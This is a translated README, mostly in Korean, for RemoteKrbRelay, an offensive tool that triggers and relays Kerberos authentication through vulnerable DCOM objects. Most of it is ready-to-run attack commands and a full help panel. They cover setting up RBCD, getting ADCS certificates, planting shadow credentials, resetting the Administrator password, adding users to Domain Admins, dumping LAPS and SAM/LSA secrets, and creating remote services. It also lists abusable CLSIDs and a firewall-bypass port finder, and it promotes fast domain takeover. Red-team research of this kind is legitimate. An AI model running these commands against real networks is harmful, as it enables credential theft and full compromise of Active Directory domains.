
원격 Kerberos 릴레이를 쉽게! 고급 Kerberos 릴레이 프레임워크
/_/_,
,/_/\ \ ~ /
\ ~ \ ) XXX
XXX / /_/_,
\o-o/-o-o/ ~ /
) / \ XXX
| / \ _/
,-/ _ _/
/ ( /,__| )
( | ( ) ) _|
/ ) \ _/ (
(,-(,(,(,/ ,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
당신은 아마 KrbRelay와 KrbRelayUp을 알고 있을 것입니다. 그런데 그것을 원격으로 할 수 있다면 어떨까요? RemoteKrbRelay를 사용하면 이것이 현실이 됩니다.
CertifiedDCOM에 대해 자세히 알아보려면 여기를 참조하세요. CertifiedDCOM을 사용하면 ADCS 머신 계정을 트리거할 수 있습니다:
# CertifiedDCOM (Abuse AD CS by setting RBCD)
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
# CertifiedDCOM (Abuse ADCS to get Machine cert)
.\RemoteKrbRelay.exe -adcs -template Machine -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
# CertifiedDCOM (Abuse ADCS with ShadowCreds)
.\RemoteKrbRelay.exe -shadowcred -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
또한 SilverPotato 익스플로잇도 있습니다. 세션을 남용하는 데 사용할 수 있습니다. 타사 호스트의 도메인 관리자 세션도 포함됩니다.
# Change user password
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
# Add user to group
.\RemoteKrbRelay.exe -addgroupmember -victim computer.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -group "Domain Admins" -groupuser petka
# Dump LAPS passwords
.\RemoteKrbRelay.exe -laps -victim mssql.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Send LDAP Whoami request from relayed user
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
# Trigger authentication from another session
.\RemoteKrbRelay.exe -ldapwhoami -victim domainadminhost.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
이제 여러분 앞에는 네 개의 폴더가 있습니다:
Checker - 취약한 DCOM 개체를 탐지하기 위한 체커의 이전 버전;Checkerv2.0 - 취약한 DCOM 개체를 탐지하기 위한 체커의 새 버전;Exploit - RemoteKrbRelay.exe :)FindAvailablePort - 익스플로잇 사용 시 방화벽을 우회하기 위한 도구.자, Checker부터 시작해 보겠습니다. 이를 사용하여 취약한 DCOM 개체를 탐지할 수 있습니다. 취약한 DCOM 개체로 간주될 수 있는 조건은 다음과 같습니다:
NT AUTHORITY\LOCAL SERVICE로는 절대 안 됩니다. 네트워크에서 인증할 때 빈 자격 증명을 사용하기 때문입니다;RemoteLaunch, RemoteActivation 권한이 있어야 합니다. 이것은 LaunchPermissions입니다;RPC_C_IMP_LEVEL_IDENTIFY 이상이어야 합니다. RPC_C_IMP_LEVEL_IDENTIFY는 기본값입니다;RemoteAccess 권한이 있어야 합니다(또는 비어 있어야 합니다). 이것은 AccessPermission입니다.쉬운 탐지를 위해 Checkerv2.0을 사용할 수 있습니다. csv 및 xlsx 형식 출력을 지원합니다.
PS A:\ssd\Share\RemoteKrbRelay\Checkerv2.0\Checkerv2.0\bin\Debug> .\Checkerv2.0.exe -h
/\_/\____, /\ /\
,___/\_/\ \ ~ / \ _____\
\ ~ \ ) XXX (_)-(_)
XXX / /\_/\___, Checkerv2.0 Collection
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
Check.exe
Small tool that allow you to find vulnerable DCOM applications
[OPTIONS]
-outfile : output filename
-outformat : output format. Accepted 'csv' and 'xlsx'
-showtable : show the xlsx table when it gets filled
-h/--help : shows this windows
예시:
.\Checkerv2.0.exe -outfile win10 -outformat xlsx
그러면 다음과 같은 출력을 받게 됩니다:

열에는 DCOM 개체의 CLSID, 이름, LaunchPermission 및 AccessPermission이 포함됩니다.

sppui(CLSID {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}, APPID {0868DC9B-D9A2-4f64-9362-133CEA201299})와 CertSrv Request(CLSID {d99e6e74-fc88-11d0-b498-00a0c90312f3}) 개체를 검색하여 왜 취약한지 이해해 보세요.
Checker를 사용하지 말고 Checkerv2.0만 사용하세요 pls :3
악성 DCOM 서버를 띄울 포트를 찾기 위한 작은 도구입니다. 자세한 내용은 여기를 참조하세요(Remote -> Local Potato).

로컬 포트 개념을 사용하여 연습해 보세요. RemotePotato0을 로컬 포트로 다시 작성하세요. 저를 믿으세요, 유용합니다.
익스플로잇에 상당히 많은 다양한 기능을 추가했습니다. DCOM 개체를 남용할 수 있을 만큼의 기능을 제공합니다. 또한 Help에 남용할 수 있는 몇 가지 CLSID를 나열했습니다. 이 CLSID들은 공개적으로 알려져 있었지만, 이를 남용할 POC가 없었을 뿐입니다. 취약한 DCOM 개체가 꽤 많습니다. 체커를 사용하여 모두 찾아보세요!
PS A:\ssd\Share\RemoteKrbRelay\Exploit\RemoteKrbRelay\bin\x64\Debug> .\RemoteKrbRelay.exe -h
/\_/\____,
,___/\_/\ \ ~ /
\ ~ \ ) XXX
XXX / /\_/\___,
\o-o/-o-o/ ~ /
) / \ XXX
_| / \ \_/
,-/ _ \_/ \
/ ( /____,__| )
( |_ ( ) \) _|
_/ _) \ \__/ (_
(,-(,(,(,/ \,),),)
CICADA8 Research Team
From Michael Zhmaylo (MzHmO)
[HELP PANEL]
RemoteKrbRelay.exe
Relaying Remote Kerberos Auth by easy way
Usage: RemoteKrbRelay.exe [ATTACKS] [REQUIRED OPTIONS] [OPTIONAL PARAMS] [ATTACK OPTIONS] [SWITCHES]
[ATTACKS] (one required!)
-rbcd : relay to LDAP and setup RBCD
-adcs : relay to HTTP Web Enrollment and get certificate
-smb : relay to SMB
-shadowcred : relay to LDAP and setup Shadow Credentials
-chp : relay to LDAP and change user password
-addgroupmember : relay to LDAP and add user to group
-laps : relay to LDAP and extract LAPS passwords
-ldapwhoami : relay to LDAP and get info about relayed user
[REQUIRED OPTIONS]
-target : relay to this target
-victim : relay this computer
-clsid : target CLSID to abuse
[OPTIONAL PARAMS]
-spn : with ticket on this SPN victim will come to us. For ex: ldap/dc01.root.apchi - tkt for RBCD mode , http/dc01.root.apchi - tkt for ADCS mode
-d/--domain : current (target) domain
-dc/--domaincontoller : target DC
-local : current computer hostname. This host will be in OBJREF.
[ATTACK OPTIONS]
[SMB OPTIONS (Relay to SMB)]
--smbkeyword : specify 'secrets' or 'service-add' or 'interactive'
--servicename : service-add cmdlet. Name of new service
--servicecmd : service-add cmdlet. Commandline of the service
[ADCS OPTIONS (Relay to HTTP)]
-template : ADCS Mode only. Template to relay to
[RBCD OPTIONS (Relay to LDAP)]
-c/--create : Create new computer
-cn/--computername : Computer name that will be written to msDs-AllowedToActOnBehalfOfOtherIdentity
-cp/--computerpassword : requires -c switch. Password for new computer
--victimdn : DN of victim computer
[CHANGE PASSWORD OPTIONS (Relay to LDAP)]
-chpuser : the name of the user whose password you want to change
-chppass : new password
[ADD GROUP MEMBER OPTIONS (Relay to LDAP)]
-group : group name
-groupuser : user to add to the group
-groupdn : target group DN
-userdn : target user DN
[SHADOWCRED OPTIONS (Relay to LDAP)]
-forceshadowcred : force shadow creds
[LAPS OPTIONS (Relay to LDAP)]
-lapsdevice : Optional param. Target computer hostname to dump laps from
[SWITCHES]
-h/--help : show help
-debug : show debug info
-secure : use SSL for connection to LDAP/HTTP/etc
-p/--port : port to deploy rogue dcom server
-session : cross-session activation. Useful when instantiating com objects with RunAs value as "The Interactive User"
-module : default "System". It is for firewall bypass
[EXAMPLES]
[1] Trigger kerberos authentication from adcs.root.apchi (-victim). Then relay to dc01.root.apchi (-target). And setup RBCD (u can optionally provide -dc because setuping RBCD requires connection to ldap on DC) from adcs.root.apchi to FAKEMACHINE$ (-cn). As a result u can pwn adcs.root.apchi from FAKEMACHINE$ through RBCD
.\RemoteKrbRelay.exe -rbcd -victim adcs.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -cn FAKEMACHINE$
[2] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and open interactive SMB Console.
.\RemoteKrbRelay.exe -smb --smbkeyword interactive -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[3] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and dump SAM/LSA secrets from win10.root.apchi.
.\RemoteKrbRelay.exe -smb --smbkeyword secrets -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[4] Trigger krb auth from dc01.root.apchi (-victim). Then relay to win10.root.apchi (-target) and create service.
.\RemoteKrbRelay.exe -smb --smbkeyword service-add --servicename Hello --servicecmd "c:\windows\system32\calc.exe" -victim dc01.root.apchi -target win10.root.apchi -clsid <IDK CLSID FOR THAT xD>
[5] Get machine certificate from kerberos relay
.\RemoteKrbRelay.exe -adcs -template Machine -target dc01.root.apchi -victim win10.root.apchi -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[6] Shadow Creds
.\RemoteKrbRelay.exe -shadowcred -victim dc01.root.apchi -target dc01.root.apchi -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -forceshadowcred
[7] Change user password
.\RemoteKrbRelay.exe -chp -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -chpuser Administrator -chppass Lolkekcheb123! -secure
[9] Dump LAPS passwords
.\RemoteKrbRelay.exe -laps -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[10] Send LDAP Whoami request from relayed user
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83
[11] Trigger authentication from another session
.\RemoteKrbRelay.exe -ldapwhoami -victim dc01.root.apchi -target dc01.root.apchi -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -session 1
[?] Interesting CLSIDs to use
dea794e0-1c1d-4363-b171-98d0b1703586 - Interactive User. U can use with -session switch. U should be in NT AUTHORITY\Interactive
f87b28f1-da9a-4f35-8ec0-800efcf26b83 - Interactive User. U can use with -session switch. U should be in Distributed COM Users or Performance Log Users
3ab092c4-de6a-4cd4-be9e-fdacdb05759c - System account. On victim computer should be installed AD CS
6d5ad135-1730-4f19-a4eb-3f87e7c976bb - System account. On victim computer should be installed AD CS
몇 가지 공격을 살펴보시길 권장합니다:
RBCD - LDAP으로 릴레이하고 RBCD를 설정합니다.

HTTP ADCS - 웹 등록 서비스로 릴레이합니다.

ShadowCred - LDAP으로 릴레이하고 ShadowCreds를 설정합니다.

Add user to group

LDAP Whoami 요청 - CLSID 무차별 대입(Bruteforce) 기능과 결합하면 편리합니다. 어떤 사용자를 트리거하는지 확인할 수 있습니다. 도메인의 모든 머신에서 처음 5개 세션에 대해 트리거해 보세요. 와, 그게 뭐죠, 5분 만에 도메인 관리자? :)

-session을 사용한 교차 세션 활성화를 지원합니다:


또한 LAPS, 사용자 비밀번호 변경, smb....
비디오 데모:
.\RemoteKrbRelay.exe -ldapwhoami -victim win10.vostok.street -target dc01.vostok.street -clsid f87b28f1-da9a-4f35-8ec0-800efcf26b83 -local dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA
# but I haven't implemented the relay from Initial OXID Request yet. Do it BRO! :)
# dc011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAAA <- this is DNS A record that points to kali (thx to CredMarshalTargetInfo() because i can receive tkt on RPCSS/dc01)
.\RemoteKrbRelay.exe -rbcd -victim win10.vostok.street -target dc01.vostok.street -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3 -spn krbtgt/root.apchi -cn FAKEMACHINE$
이 취약점은 상당히 심각합니다. 이것이 최소한의 POC입니다. Red Team 프로젝트에서 안정적으로 사용하려면 개선해야 합니다.
CertifiedDCOM과 SilverPotato에 대한 POC를 공개하지 않아 주셔서 감사합니다. 그 글들을 보고 정말 신났습니다 :D